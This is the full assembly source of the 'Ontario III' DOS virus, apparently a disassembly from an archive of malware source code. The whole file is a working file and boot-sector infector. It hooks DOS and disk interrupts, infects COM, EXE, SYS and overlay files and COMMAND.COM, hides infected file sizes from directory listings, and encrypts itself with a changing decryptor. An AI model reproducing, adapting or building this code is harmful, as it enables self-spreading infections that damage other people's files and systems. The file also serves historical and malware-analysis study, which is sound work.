mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
994 lines
38 KiB
NASM
994 lines
38 KiB
NASM
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.model tiny
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.code
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; Ontario III
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; Disassembly by Dark Angel of Phalcon/Skism
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; Assemble with TASM /m ONTARIO3.ASM
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; Virus written by Death Angel of YAM
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org 0
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decrypt:
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patch1:
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mov di,offset endvirus ; usually: offset enddecrypt
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patch2 = $ - 2
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patch3 = $
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mov cx,37E5h
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patch4 = $ - 2
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patch5:
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db 82h, 0C5h, 0D0h ; add ch,0D0h
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patch6 = $ - 1
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patch7:
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mov al,0Ah
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patch8 = $ - 1
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decrypt_loop:
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add cs:[di],al
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patch9 = $ - 1
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patch10:
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ror al,cl
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patch11 = $ - 1
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patch12:
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inc di
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patch13:
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loop decrypt_loop
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enddecrypt:
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patch14:
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db 89h, 0FBh ; mov bx,di
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patch15 = $ - 1
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sub bx,offset save4
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xchg ax,cx
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dec ax
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cld
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call saveorigvectors
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db 0e9h ; jmp
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SYSpatch dw 0 ; currently jmp to next line
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int 21h ; installation check
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or al,ah
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jz restorefile
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push ds
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mov cx,bx
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mov di,ds ; save current ds
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mov ah,13h ; get BIOS int 13h handler
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int 2Fh ; to ds:dx and es:bx
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mov si,ds ; does function function?
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cmp si,di
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je skipit
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push ds
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push dx
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mov ah,13h ; restore handler
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int 2Fh
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mov bx,cx ; but save its address too
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pop word ptr cs:[bx+storeint13_1]
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pop word ptr cs:[bx+storeint13_2]
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skipit:
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xor di,di
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mov cx,es
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dec cx
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mov ds,cx ; get MCB of current program
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sub word ptr [di+3],140h ; decrease size by 5K
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mov ax,[di+12h] ; get high memory from PSP
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sub ax,140h ; decrease size by 5K
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mov [di+12h],ax ; replace it
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mov es,ax ; es->high memory segment
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sub ax,1000h
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mov word ptr cs:[bx+patchsegment],ax
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push cs
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pop ds
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mov si,bx
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mov cx,offset save4
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rep movsb
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mov ds,cx
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cli
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mov word ptr ds:21h*4,offset int21 ; set int 21h handler
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mov ds:21h*4+2,es ; to virus's
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sti
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mov ax,4BFFh ; infect COMSPEC
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push bx
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int 21h
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pop bx
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pop ds
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push ds
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pop es
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restorefile:
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lea si,[bx+offset save4]
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mov di,100h
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cmp bx,di
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jb restoreEXE
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push di
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movsw
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movsw
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retn
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restoreEXE:
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mov ax,es ; get start segment
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add ax,10h ; adjust for PSP
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add cs:[si+2],ax ; relocate CS
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add cs:[si+4],ax ; relocate SS
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cli
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mov sp,cs:[si+6] ; restore stack
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mov ss,cs:[si+4]
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sti
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jmp dword ptr cs:[si]
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int21instcheck:
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inc ax
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iret
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int21:
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cmp ax,0FFFFh ; installation check?
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je int21instcheck
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cmp ah,4Bh ; execute?
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je execute
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cmp ah,11h ; FCB find first?
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je findfirstnext
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cmp ah,12h ; FCB find next?
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je findfirstnext
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cmp ax,3D00h ; open file read only?
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jne int21exit
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call handleopen
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int21exit:
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db 0EAh ; jmp far ptr
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oldint21 dd 0
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findfirstnext: ; standard stealth routine
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push bp
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mov bp,sp
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cmp word ptr [bp+4],1234h
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patchsegment = $ - 2
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pop bp
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jb int21exit
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call callint21 ; do findfirst/next
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call pushall
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mov ah,2Fh ; Get DTA
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call callint21
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cmp byte ptr es:[bx],0FFh ; extended FCB?
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je findfirstnextnotextendedFCB
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sub bx,7 ; convert to standard
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findfirstnextnotextendedFCB:
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mov al,es:[bx+1Eh] ; get seconds counter
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and al,1Fh ; check if 62 seconds
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cmp al,1Fh ; (infection marker)
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jne findfirstnextexit ; exit if not
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mov dx,es:[bx+26h] ; get file size
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mov ax,es:[bx+24h]
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sub ax,viruslength ; decrease by virus
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sbb dx,0 ; size
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or dx,dx
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jc findfirstnextexit
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mov es:[bx+26h],dx ; replace file size
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mov es:[bx+24h],ax ; with "stealthed" one
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findfirstnextexit:
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call popall
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iret
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execute:
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mov byte ptr cs:infectSYS,0
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cmp al,1 ; load/don't execute
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je load_noexecute
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cmp al,0FFh ; called by virus
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je infectCOMSPEC
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call infectDSDX
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jmp short int21exit
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infectCOMMANDCOM:
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mov byte ptr cs:infectSYS,0
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push dx
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push ds
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mov dx,offset command_com
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push cs
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pop ds
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mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
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call infectDSDX
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pop ds
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pop dx
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iret
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infectCOMSPEC:
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mov ah,51h ; Get current PSP
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call callint21
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mov es,bx
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mov ds,es:[2Ch] ; environment block
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xor si,si
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push cs
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pop es
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infectCOMSPECfindcomspec:
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mov di,offset comspec ; is 'COMSPEC=' the first
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mov cx,4 ; entry in environment?
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repe cmpsw ; (should be)
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jcxz infectCOMSPECnoenvironment ; otherwise, quit
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infectCOMSPECfindend:
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lodsb ; search for end of string
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or al,al
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jnz infectCOMSPECfindend
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cmp byte ptr [si],0 ; found it?
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jne infectCOMSPECfindcomspec; nope, try again
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jmp short infectCOMMANDCOM ; otherwise, infect
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infectCOMSPECnoenvironment:
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mov dx,si
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mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
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call infectDSDX ; but are we really? Maybe
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iret ; it's 4DOS. This is a bug.
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load_noexecute:
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push es ; save parameter block
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push bx
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call callint21 ; prechain
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pop bx
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pop es
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call pushall
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jnc load_noexecute_ok ; continue if no error
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jmp load_noexecute_exit
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load_noexecute_ok:
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xor cx,cx
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lds si,dword ptr es:[bx+12h]; get entry point on return
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push ds
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push si
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mov di,100h
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cmp si,di
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jl loading_EXE
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ja load_noexecute_quit
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; debugger active
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lodsb
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cmp al,0E9h ; check if infected
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jne load_noexecute_quit
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lodsw
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push ax ; save jmp location
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lodsb
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cmp al,'O' ; check for infection marker
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pop si ; get jmp location
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jnz load_noexecute_quit
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add si,103h ; convert to file offset
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inc cx
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inc cx
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pop ax
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push si
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push ds
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pop es
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jmp short check_infection
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loading_EXE:
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lea di,[bx+0Eh] ; check SS:SP on return
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cmp word ptr es:[di],9FFh ; infected?
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jne load_noexecute_quit
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check_infection:
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lodsb
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cmp al,0BBh ; possibility 1
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je infected_checked1
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cmp al,0BEh ; possibility 2
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je infected_checked1
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cmp al,0BFh ; possibility 3
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jne load_noexecute_quit
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infected_checked1:
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lodsw ; get starting offset
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push ax ; to decrypt
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lodsb ; get next byte
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cmp al,0B9h ; check for infection
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lodsw
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pop si ; offset to decrypt
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jnz load_noexecute_quit
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cmp ah,7 ; check if infected
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je infected_checked2
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cmp al,0E5h ; ditto
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jne load_noexecute_quit
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infected_checked2:
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add si,save4 - enddecrypt
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jcxz disinfectEXE
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rep movsw
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jmp short finish_disinfection
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disinfectEXE:
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mov ah,51h ; Get current PSP
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call callint21
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add bx,10h ; go to file starting CS
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mov ax,[si+6]
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dec ax
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dec ax
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stosw
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mov ax,[si+4]
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add ax,bx
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stosw
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movsw
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lodsw
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add ax,bx
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stosw
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finish_disinfection:
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pop di
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pop es
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xchg ax,cx
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mov cx,viruslength
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rep stosb
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jmp short load_noexecute_exit
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load_noexecute_quit:
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pop ax
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pop ax
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load_noexecute_exit:
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call popall
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retf 2
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handleopen:
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call pushall
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mov si,dx ; find extension of
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handleopenscanloop: ; ASCIIZ string
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lodsb
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or al,al ; found end of screen?
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jz handleopenexit ; yup, no extension -- exit
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cmp al,'.' ; extension found?
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jne handleopenscanloop
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mov di,offset validextensions - 3
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push cs
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pop es
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mov cx,4
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nop
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scanvalidextension:
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push cx
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push si
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mov cl,3
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add di,cx
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push di
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check_extension:
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lodsb
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and al,5Fh ; Capitalise
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cmp al,es:[di] ; do they compare ok?
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jne extension_no_match ; nope, try next one
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inc di
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loop check_extension
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cmp al,'S' ; SYS file?
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jne opennotSYS
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mov byte ptr cs:infectSYS,0FFh ; infecting SYS file
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opennotSYS:
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call infectDSDX
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add sp,6
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jmp short handleopenexit
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extension_no_match:
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pop di
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pop si
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pop cx
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loop scanvalidextension
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handleopenexit:
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call popall
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retn
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infectDSDX:
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call pushall
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call replaceint13and24
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push dx
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push ds
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mov ax,4300h ; get attributes
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call callint21
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push cx
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pushf
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jc go_restoreattribs
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push cx
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and cl,1 ; check if read only
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cmp cl,1
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jne infectDSDXnoclearattributes
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xor cx,cx ; clear if so
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mov ax,4301h
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call callint21
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infectDSDXnoclearattributes:
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pop cx
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and cl,4
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cmp cl,4
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je go_restoreattribs
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mov ax,3D02h ; open file read/write
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call callint21
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jnc infectDSDXopenOK ; continue if no error
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go_restoreattribs:
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jmp infectDSDXrestoreattributes
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infectDSDXopenOK:
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xchg ax,bx ; handle to bx
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push cs
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push cs
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pop ds
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pop es
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mov word ptr ds:SYSpatch,0
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mov ax,5700h ; save file time/date
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call callint21
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push dx
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push cx
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and cl,1Fh ; check if infected
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cmp cl,1Fh ; (seconds == 62)
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je infectDSDXerror
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mov dx,offset readbuffer ; read header from
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mov cx,1Ch ; potential carrier
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mov ah,3Fh ; file to the
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call callint21 ; buffer
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jnc infectDSDXreadOK ; continue if no error
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infectDSDXerror:
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stc ; mark error
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jmp infectDSDXclose ; and exit
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infectDSDXreadOK:
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cmp ax,cx ; read 1ch bytes?
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jne infectDSDXerror ; exit if not
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xor dx,dx
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mov cx,dx
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||
|
|
mov ax,4202h ; go to end of file
|
||
|
|
call callint21
|
||
|
|
or dx,dx
|
||
|
|
jnz infectDSDXfilelargeenough
|
||
|
|
cmp ax,0A01h ; check if too small
|
||
|
|
jb infectDSDXerror
|
||
|
|
infectDSDXfilelargeenough:
|
||
|
|
cmp dl,5
|
||
|
|
ja infectDSDXerror
|
||
|
|
cmp word ptr ds:readbuffer,'ZM' ; EXE?
|
||
|
|
je infectDSDXskipcheck
|
||
|
|
cmp word ptr ds:readbuffer,'MZ' ; EXE?
|
||
|
|
infectDSDXskipcheck:
|
||
|
|
je infectDSDXcheckEXE
|
||
|
|
cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file?
|
||
|
|
jne infectDSDXcheckCOM
|
||
|
|
cmp word ptr ds:readbuffer,0FFFFh ; check if SYS
|
||
|
|
jne infectDSDXerror ; file
|
||
|
|
cmp word ptr ds:readbuffer+2,0FFFFh
|
||
|
|
isanoverlay:
|
||
|
|
jne infectDSDXerror
|
||
|
|
or dx,dx
|
||
|
|
jnz infectDSDXerror
|
||
|
|
push ax ; save file size
|
||
|
|
mov di,offset save4
|
||
|
|
mov ax,5657h ; push di, push si
|
||
|
|
stosw
|
||
|
|
mov ax,0E953h ; push bx, jmp decrypt
|
||
|
|
stosw
|
||
|
|
mov ax,offset decrypt - (offset save4 + 6)
|
||
|
|
stosw
|
||
|
|
mov ax,word ptr ds:readbuffer+6 ; get strategy start point
|
||
|
|
stosw
|
||
|
|
pop ax ; get file size
|
||
|
|
push ax
|
||
|
|
add ax,offset save4
|
||
|
|
mov word ptr ds:readbuffer+6,ax
|
||
|
|
mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
|
||
|
|
mov byte ptr ds:decrypt_loop,36h ; replace with SS:
|
||
|
|
pop ax
|
||
|
|
add ax,offset enddecrypt
|
||
|
|
jmp short go_infectDSDXcontinue
|
||
|
|
infectDSDXcheckCOM:
|
||
|
|
cmp byte ptr ds:readbuffer+3,'O'; check if already infected
|
||
|
|
jmp_infectDSDXerror:
|
||
|
|
je infectDSDXerror
|
||
|
|
cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
|
||
|
|
je dontdoslackspace
|
||
|
|
sub ax,viruslength ; infect slack space of
|
||
|
|
xchg ax,dx ; command.com
|
||
|
|
xor cx,cx
|
||
|
|
mov ax,4200h
|
||
|
|
call callint21
|
||
|
|
dontdoslackspace:
|
||
|
|
mov si,offset readbuffer
|
||
|
|
mov di,offset save4
|
||
|
|
movsw
|
||
|
|
movsw
|
||
|
|
sub ax,3 ; convert size->jmp dest
|
||
|
|
mov byte ptr ds:readbuffer,0E9h ; encode JMP
|
||
|
|
mov word ptr ds:readbuffer+1,ax ; and destination
|
||
|
|
mov byte ptr ds:readbuffer+3,'O' ; mark infected
|
||
|
|
add ax,116h
|
||
|
|
go_infectDSDXcontinue:
|
||
|
|
jmp short infectDSDXcontinue
|
||
|
|
infectDSDXcheckEXE:
|
||
|
|
cmp word ptr ds:readbuffer+10h,0A01h ; already infected?
|
||
|
|
je jmp_infectDSDXerror
|
||
|
|
cmp word ptr ds:readbuffer+1Ah,0
|
||
|
|
jne isanoverlay ; exit if it's an overlay
|
||
|
|
|
||
|
|
push dx
|
||
|
|
push ax
|
||
|
|
mov cl,4
|
||
|
|
ror dx,cl
|
||
|
|
shr ax,cl
|
||
|
|
add ax,dx ; ax:dx = file size
|
||
|
|
sub ax,word ptr ds:readbuffer+8 ; subtract header size
|
||
|
|
mov si,offset readbuffer+14h
|
||
|
|
mov di,offset origCSIP
|
||
|
|
movsw ; save initial CS:IP
|
||
|
|
movsw
|
||
|
|
mov si,offset readbuffer+0Eh
|
||
|
|
movsw ; save initial SS:SP
|
||
|
|
movsw
|
||
|
|
mov word ptr ds:readbuffer+16h,ax ; set initial CS
|
||
|
|
mov word ptr ds:readbuffer+0Eh,ax ; set initial SS
|
||
|
|
mov word ptr ds:readbuffer+10h,0A01h ; set initial SP
|
||
|
|
pop ax
|
||
|
|
pop dx
|
||
|
|
push ax
|
||
|
|
add ax,0A01h
|
||
|
|
|
||
|
|
; adc dx,0 works just as well
|
||
|
|
jnc infectEXEnocarry
|
||
|
|
inc dx
|
||
|
|
infectEXEnocarry:
|
||
|
|
mov cx,200h ; take image size
|
||
|
|
div cx
|
||
|
|
; The next line is not entirely corrrect. The image size
|
||
|
|
; div 512 is rounded up. Therefore, DOS will find this number
|
||
|
|
; to be off by 512d bytes
|
||
|
|
mov word ptr ds:readbuffer+4,ax ; image size div 512
|
||
|
|
mov word ptr ds:readbuffer+2,dx ; image size mod 512
|
||
|
|
pop ax
|
||
|
|
and ax,0Fh
|
||
|
|
mov word ptr ds:readbuffer+14h,ax ; set initial IP
|
||
|
|
add ax,offset enddecrypt
|
||
|
|
infectDSDXcontinue:
|
||
|
|
mov word ptr ds:patch2,ax ; patch start area
|
||
|
|
push bx ; save file handle
|
||
|
|
xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS:
|
||
|
|
call encrypt ; encrypt virus to buffer
|
||
|
|
pop bx ; restore file handle
|
||
|
|
mov ah,40h ; Concatenate encrypted
|
||
|
|
call callint21 ; virus
|
||
|
|
jc infectDSDXclose ; exit on error
|
||
|
|
xor dx,dx
|
||
|
|
mov cx,dx
|
||
|
|
mov ax,4200h ; go to start of file
|
||
|
|
call callint21
|
||
|
|
jc infectDSDXclose
|
||
|
|
mov dx,offset readbuffer
|
||
|
|
mov cx,1Ch
|
||
|
|
mov ah,40h ; Write new header
|
||
|
|
call callint21
|
||
|
|
infectDSDXclose:
|
||
|
|
pop cx
|
||
|
|
pop dx
|
||
|
|
jc infectDSDXnoaltertime
|
||
|
|
cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
|
||
|
|
je infectDSDXnoaltertime
|
||
|
|
or cl,1Fh ; set time to 62 seconds
|
||
|
|
infectDSDXnoaltertime:
|
||
|
|
mov ax,5701h ; restore file time/date
|
||
|
|
call callint21
|
||
|
|
mov ah,3Eh ; Close file
|
||
|
|
call callint21
|
||
|
|
infectDSDXrestoreattributes:
|
||
|
|
mov byte ptr cs:infCOMMAND,0
|
||
|
|
mov byte ptr cs:infectSYS,0
|
||
|
|
popf
|
||
|
|
pop cx
|
||
|
|
pop ds
|
||
|
|
pop dx
|
||
|
|
jc infectDSDXexit
|
||
|
|
mov ax,4301h ; restore file attributes
|
||
|
|
call callint21
|
||
|
|
infectDSDXexit:
|
||
|
|
call restoreint13and24
|
||
|
|
call popall
|
||
|
|
retn
|
||
|
|
|
||
|
|
pushall:
|
||
|
|
push bp
|
||
|
|
mov bp,sp
|
||
|
|
push bx
|
||
|
|
push cx
|
||
|
|
push dx
|
||
|
|
push si
|
||
|
|
push di
|
||
|
|
push ds
|
||
|
|
push es
|
||
|
|
pushf
|
||
|
|
xchg ax,[bp+2]
|
||
|
|
push ax
|
||
|
|
mov ax,[bp+2]
|
||
|
|
retn
|
||
|
|
|
||
|
|
popall:
|
||
|
|
pop ax
|
||
|
|
xchg ax,[bp+2]
|
||
|
|
popf
|
||
|
|
pop es
|
||
|
|
pop ds
|
||
|
|
pop di
|
||
|
|
pop si
|
||
|
|
pop dx
|
||
|
|
pop cx
|
||
|
|
pop bx
|
||
|
|
pop bp
|
||
|
|
retn
|
||
|
|
|
||
|
|
replaceint13and24:
|
||
|
|
push ds
|
||
|
|
xor ax,ax
|
||
|
|
mov ds,ax
|
||
|
|
mov si,13h*4
|
||
|
|
lodsw
|
||
|
|
mov word ptr cs:origint13_1,ax
|
||
|
|
lodsw
|
||
|
|
mov word ptr cs:origint13_2,ax
|
||
|
|
mov si,24h*4
|
||
|
|
lodsw
|
||
|
|
mov word ptr cs:origint24_1,ax
|
||
|
|
lodsw
|
||
|
|
mov word ptr cs:origint24_2,ax
|
||
|
|
mov word ptr ds:13h*4,1234h
|
||
|
|
storeint13_1 = $ - 2
|
||
|
|
mov word ptr ds:13h*4+2,1234h
|
||
|
|
storeint13_2 = $ - 2
|
||
|
|
mov word ptr ds:24h*4,offset int24 ; replace int 24 handler
|
||
|
|
mov ds:24h*4+2,cs
|
||
|
|
pop ds
|
||
|
|
retn
|
||
|
|
|
||
|
|
restoreint13and24:
|
||
|
|
xor ax,ax
|
||
|
|
mov ds,ax
|
||
|
|
mov word ptr ds:13h*4,1234h
|
||
|
|
origint13_1 = $ - 2
|
||
|
|
mov word ptr ds:13h*4+2,1234h
|
||
|
|
origint13_2 = $ - 2
|
||
|
|
mov word ptr ds:24h*4,1234h
|
||
|
|
origint24_1 = $ - 2
|
||
|
|
mov word ptr ds:24h*4+2,1234h
|
||
|
|
origint24_2 = $ - 2
|
||
|
|
retn
|
||
|
|
|
||
|
|
int24:
|
||
|
|
xor al,al
|
||
|
|
iret
|
||
|
|
|
||
|
|
encrypt:
|
||
|
|
mov di,offset patch4
|
||
|
|
mov si,di
|
||
|
|
mov word ptr [si],offset save4 - offset enddecrypt
|
||
|
|
xor bx,bx
|
||
|
|
call random
|
||
|
|
jz encrypt1
|
||
|
|
add bl,4
|
||
|
|
inc di
|
||
|
|
encrypt1:
|
||
|
|
call random
|
||
|
|
in al,40h ; get random #
|
||
|
|
mov bh,al
|
||
|
|
jz encrypt2
|
||
|
|
add [di],al ; alter amount to encrypt
|
||
|
|
add bl,28h
|
||
|
|
jmp short encrypt3
|
||
|
|
encrypt2:
|
||
|
|
sub [di],al ; alter amount to encrypt
|
||
|
|
encrypt3:
|
||
|
|
add bl,0C1h
|
||
|
|
mov [si+3],bx
|
||
|
|
call random
|
||
|
|
jz encrypt4
|
||
|
|
xor byte ptr [si+2],2 ; flip betwen add/sub
|
||
|
|
encrypt4:
|
||
|
|
in ax,40h ; get random number != 0
|
||
|
|
or ax,ax
|
||
|
|
jz encrypt4
|
||
|
|
mov bx,3 ; first choose one of
|
||
|
|
xor dx,dx ; three possible registers
|
||
|
|
div bx
|
||
|
|
xchg ax,bx
|
||
|
|
inc ax ; ax = 4
|
||
|
|
mul dx ; convert to offset in
|
||
|
|
xchg ax,bx ; table
|
||
|
|
lea si,[bx+offset table1]
|
||
|
|
lodsb
|
||
|
|
mov byte ptr ds:patch1,al
|
||
|
|
lodsb
|
||
|
|
mov byte ptr ds:patch9,al
|
||
|
|
lodsb
|
||
|
|
mov byte ptr ds:patch12,al
|
||
|
|
lodsb
|
||
|
|
mov byte ptr ds:patch15,al
|
||
|
|
call random
|
||
|
|
jz encrypt5
|
||
|
|
xor byte ptr ds:patch13,2 ; loop/loopnz
|
||
|
|
encrypt5:
|
||
|
|
in ax,40h ; get random number
|
||
|
|
mov byte ptr ds:patch8,ah
|
||
|
|
and ax,0Fh
|
||
|
|
xchg ax,bx
|
||
|
|
shl bx,1
|
||
|
|
mov ax,[bx+offset table2]
|
||
|
|
mov word ptr ds:patch10,ax
|
||
|
|
xor si,si
|
||
|
|
mov di,offset encryptbuffer ; copy virus to
|
||
|
|
mov cx,endvirus - decrypt ; temporary buffer
|
||
|
|
push cx ; for encryption
|
||
|
|
cld
|
||
|
|
rep movsb
|
||
|
|
mov bx,offset enddecrypt
|
||
|
|
push word ptr [bx] ; save it
|
||
|
|
mov byte ptr [bx],0C3h ; put retn in its place
|
||
|
|
push bx
|
||
|
|
xor byte ptr [bx-7],28h ; sub/add
|
||
|
|
push word ptr ds:decrypt_loop
|
||
|
|
mov byte ptr [bx-8],2Eh ; CS:
|
||
|
|
mov dx,offset encryptbuffer
|
||
|
|
add bx,dx
|
||
|
|
mov word ptr ds:patch2,bx
|
||
|
|
call decrypt
|
||
|
|
pop word ptr ds:decrypt_loop
|
||
|
|
pop bx
|
||
|
|
pop word ptr [bx]
|
||
|
|
pop cx
|
||
|
|
retn
|
||
|
|
|
||
|
|
|
||
|
|
random: ; 1/2 chance of zero flag set
|
||
|
|
in al,40h
|
||
|
|
and al,1
|
||
|
|
cmp al,1
|
||
|
|
retn
|
||
|
|
|
||
|
|
|
||
|
|
saveorigvectors:
|
||
|
|
push ds
|
||
|
|
push ax
|
||
|
|
xor ax,ax
|
||
|
|
mov ds,ax
|
||
|
|
mov ax,ds:13h*4
|
||
|
|
mov word ptr cs:[bx+storeint13_1],ax
|
||
|
|
mov ax,ds:13h*4+2
|
||
|
|
mov word ptr cs:[bx+storeint13_2],ax
|
||
|
|
mov ax,ds:21h*4
|
||
|
|
mov word ptr cs:[bx+offset oldint21],ax
|
||
|
|
mov ax,ds:21h*4+2
|
||
|
|
mov word ptr cs:[bx+offset oldint21+2],ax
|
||
|
|
pop ax
|
||
|
|
pop ds
|
||
|
|
retn
|
||
|
|
|
||
|
|
strategy:
|
||
|
|
mov word ptr cs:[bx+doffset],bx ; save delta offset
|
||
|
|
pop bx
|
||
|
|
pop di
|
||
|
|
pop si
|
||
|
|
call pushall
|
||
|
|
push cs
|
||
|
|
pop ds
|
||
|
|
mov bx,1234h ; restore delta offset
|
||
|
|
doffset = $ - 2
|
||
|
|
db 8bh, 87h ; mov ax,ds:[save4+6]
|
||
|
|
dw offset save4 + 6 ; get old strategy entry point
|
||
|
|
mov word ptr ds:[6],ax ; and restore to file header
|
||
|
|
int 12h ; Get memory size in K
|
||
|
|
sub ax,5 ; decrease by 5 K
|
||
|
|
mov cl,6 ; convert to paragraphs
|
||
|
|
shl ax,cl
|
||
|
|
mov es,ax
|
||
|
|
mov word ptr ds:[bx+himemsegment],ax
|
||
|
|
cmp byte ptr es:[3],0B9h ; check if already installed
|
||
|
|
je strategyexit
|
||
|
|
mov si,bx ; copy to high memory
|
||
|
|
xor di,di
|
||
|
|
mov cx,viruslength
|
||
|
|
rep movsb
|
||
|
|
pushf
|
||
|
|
db 09Ah ; call far ptr
|
||
|
|
dw infectCOMMANDCOM
|
||
|
|
himemsegment dw 0
|
||
|
|
|
||
|
|
strategyexit:
|
||
|
|
call popall
|
||
|
|
jmp word ptr cs:[6] ; go to original strategy
|
||
|
|
|
||
|
|
table1 db 0BEh, 04h, 46h,0F3h ; si
|
||
|
|
db 0BFh, 05h, 47h,0FBh ; di
|
||
|
|
db 0BBh, 07h, 43h,0DBh ; bx
|
||
|
|
|
||
|
|
table2: inc al
|
||
|
|
dec al
|
||
|
|
inc ax
|
||
|
|
inc ax
|
||
|
|
dec ax
|
||
|
|
dec ax
|
||
|
|
add al,cl
|
||
|
|
sub al,cl
|
||
|
|
xor al,cl
|
||
|
|
xor al,ch
|
||
|
|
not al
|
||
|
|
neg al
|
||
|
|
ror al,1
|
||
|
|
rol al,1
|
||
|
|
ror al,cl
|
||
|
|
rol al,cl
|
||
|
|
nop
|
||
|
|
nop
|
||
|
|
add al,ch
|
||
|
|
|
||
|
|
comspec db 'COMSPEC='
|
||
|
|
command_com db '\COMMAND.COM',0
|
||
|
|
|
||
|
|
validextensions db 'COMEXEOVLSYS'
|
||
|
|
|
||
|
|
bootsector: ; offset 600h in the virus
|
||
|
|
jmp short bootsectorentry
|
||
|
|
nop
|
||
|
|
bootparms db 3Bh dup (0)
|
||
|
|
|
||
|
|
bootsectorentry:
|
||
|
|
xor ax,ax
|
||
|
|
mov ds,ax
|
||
|
|
cli
|
||
|
|
mov ss,ax
|
||
|
|
mov sp,7C00h
|
||
|
|
sti
|
||
|
|
mov ax,ds:13h*4 ; get int 13h handler
|
||
|
|
mov word ptr ds:[7C00h+oldint13-bootsector],ax
|
||
|
|
mov ax,ds:13h*4+2 ; and save it
|
||
|
|
mov word ptr ds:[7C00h+oldint13+2-bootsector],ax
|
||
|
|
mov ax,ds:[413h] ; get total memory
|
||
|
|
sub ax,2 ; reduce by 2K
|
||
|
|
mov ds:[413h],ax ; replace memory size
|
||
|
|
mov cl,6
|
||
|
|
shl ax,cl ; convert to paragraphs
|
||
|
|
sub ax,60h ; go to boot block start
|
||
|
|
mov es,ax
|
||
|
|
mov si,sp
|
||
|
|
mov di,offset bootsector
|
||
|
|
mov cx,100h
|
||
|
|
rep movsw
|
||
|
|
mov dx,offset highentry
|
||
|
|
push es
|
||
|
|
push dx
|
||
|
|
retf
|
||
|
|
highentry:
|
||
|
|
xor ax,ax ; reset disk
|
||
|
|
and dl,al
|
||
|
|
int 13h
|
||
|
|
push ds
|
||
|
|
push es
|
||
|
|
pop ds
|
||
|
|
pop es
|
||
|
|
mov bx,sp ; read to 0:7C00h
|
||
|
|
mov dx,drivehead ; find where original boot
|
||
|
|
mov cx,sectortrack ; block stored and then
|
||
|
|
mov ax,201h ; read original boot
|
||
|
|
int 13h ; sector
|
||
|
|
jc $ ; halt on error
|
||
|
|
xor ax,ax ; else chain to original
|
||
|
|
mov ds,ax ; boot sector
|
||
|
|
mov word ptr ds:13h*4,offset int13
|
||
|
|
mov ds:13h*4+2,cs ; replace int 13h handler
|
||
|
|
push es
|
||
|
|
push bx
|
||
|
|
retf
|
||
|
|
|
||
|
|
int13:
|
||
|
|
push bp
|
||
|
|
mov bp,sp
|
||
|
|
push ds
|
||
|
|
push es
|
||
|
|
push si
|
||
|
|
push di
|
||
|
|
push dx
|
||
|
|
push cx
|
||
|
|
push bx
|
||
|
|
push ax
|
||
|
|
pushf
|
||
|
|
xor bx,bx
|
||
|
|
mov ds,bx
|
||
|
|
test byte ptr ds:[43Fh],1 ; A: spinning?
|
||
|
|
jnz exitint13 ; exit if so
|
||
|
|
or dl,dl ; default drive?
|
||
|
|
jnz exitint13 ; exit if not
|
||
|
|
cmp ah,2 ; read/write/verify?
|
||
|
|
jb exitint13
|
||
|
|
cmp ah,4
|
||
|
|
jbe trapint13
|
||
|
|
exitint13:
|
||
|
|
popf
|
||
|
|
pop ax
|
||
|
|
pop bx
|
||
|
|
pop cx
|
||
|
|
pop dx
|
||
|
|
pop di
|
||
|
|
pop si
|
||
|
|
pop es
|
||
|
|
pop ds
|
||
|
|
pop bp
|
||
|
|
jmp dword ptr cs:oldint13 ; chain to original handler
|
||
|
|
|
||
|
|
trapint13:
|
||
|
|
cld
|
||
|
|
push cs
|
||
|
|
push cs
|
||
|
|
pop es
|
||
|
|
pop ds
|
||
|
|
xor cx,cx
|
||
|
|
mov dx,cx
|
||
|
|
inc cx
|
||
|
|
mov bx,offset endvirus ; read boot block to
|
||
|
|
mov ax,201h ; buffer at endvirus
|
||
|
|
call callint13
|
||
|
|
jnc int13readOK
|
||
|
|
int13exit:
|
||
|
|
jmp short exitint13
|
||
|
|
int13readOK:
|
||
|
|
cmp word ptr [bx+15h],501Eh ; push ds, push ax?
|
||
|
|
jne int13skip
|
||
|
|
cmp word ptr [bx+35h],0FF2Eh; jmp cs: ?
|
||
|
|
jne int13skip
|
||
|
|
cmp word ptr [bx+70h],7505h ; add ax,XX75 ?
|
||
|
|
jne int13skip
|
||
|
|
mov dh,1
|
||
|
|
mov cl,3
|
||
|
|
mov ax,201h
|
||
|
|
call callint13
|
||
|
|
xor dh,dh
|
||
|
|
mov cl,1
|
||
|
|
mov ax,301h
|
||
|
|
call callint13
|
||
|
|
int13skip:
|
||
|
|
cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
|
||
|
|
je int13exit ; don't infect self
|
||
|
|
cmp word ptr ds:[offset endvirus+0Bh],200h
|
||
|
|
jne int13exit ; infect only 512 bytes per sector
|
||
|
|
cmp byte ptr ds:[offset endvirus+0Dh],2
|
||
|
|
jne int13exit ; only 2 reserved sectors
|
||
|
|
cmp word ptr ds:[offset endvirus+1Ah],2
|
||
|
|
ja int13exit ; only 2 sec/track
|
||
|
|
xor dx,dx ; calculate new location of boot block
|
||
|
|
mov ax,word ptr ds:[offset endvirus+13h] ; total sec
|
||
|
|
mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
|
||
|
|
mov cx,bx
|
||
|
|
div bx ; # track
|
||
|
|
xor dx,dx
|
||
|
|
mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
|
||
|
|
div bx
|
||
|
|
sub word ptr ds:[offset endvirus+13h],cx ; total sec
|
||
|
|
dec ax
|
||
|
|
mov byte ptr sectortrack+1,al
|
||
|
|
mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
|
||
|
|
mov byte ptr sectortrack,al
|
||
|
|
mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
|
||
|
|
dec ax
|
||
|
|
mov byte ptr drivehead+1,al
|
||
|
|
mov byte ptr drivehead,0
|
||
|
|
mov dx,drivehead ; move original boot block
|
||
|
|
mov cx,sectortrack ; to end of disk
|
||
|
|
mov bx,offset endvirus
|
||
|
|
mov ax,301h
|
||
|
|
call callint13
|
||
|
|
jc go_exitint13
|
||
|
|
mov si,offset endvirus+3 ; copy parameters so
|
||
|
|
mov di,offset bootparms ; no one notices boot
|
||
|
|
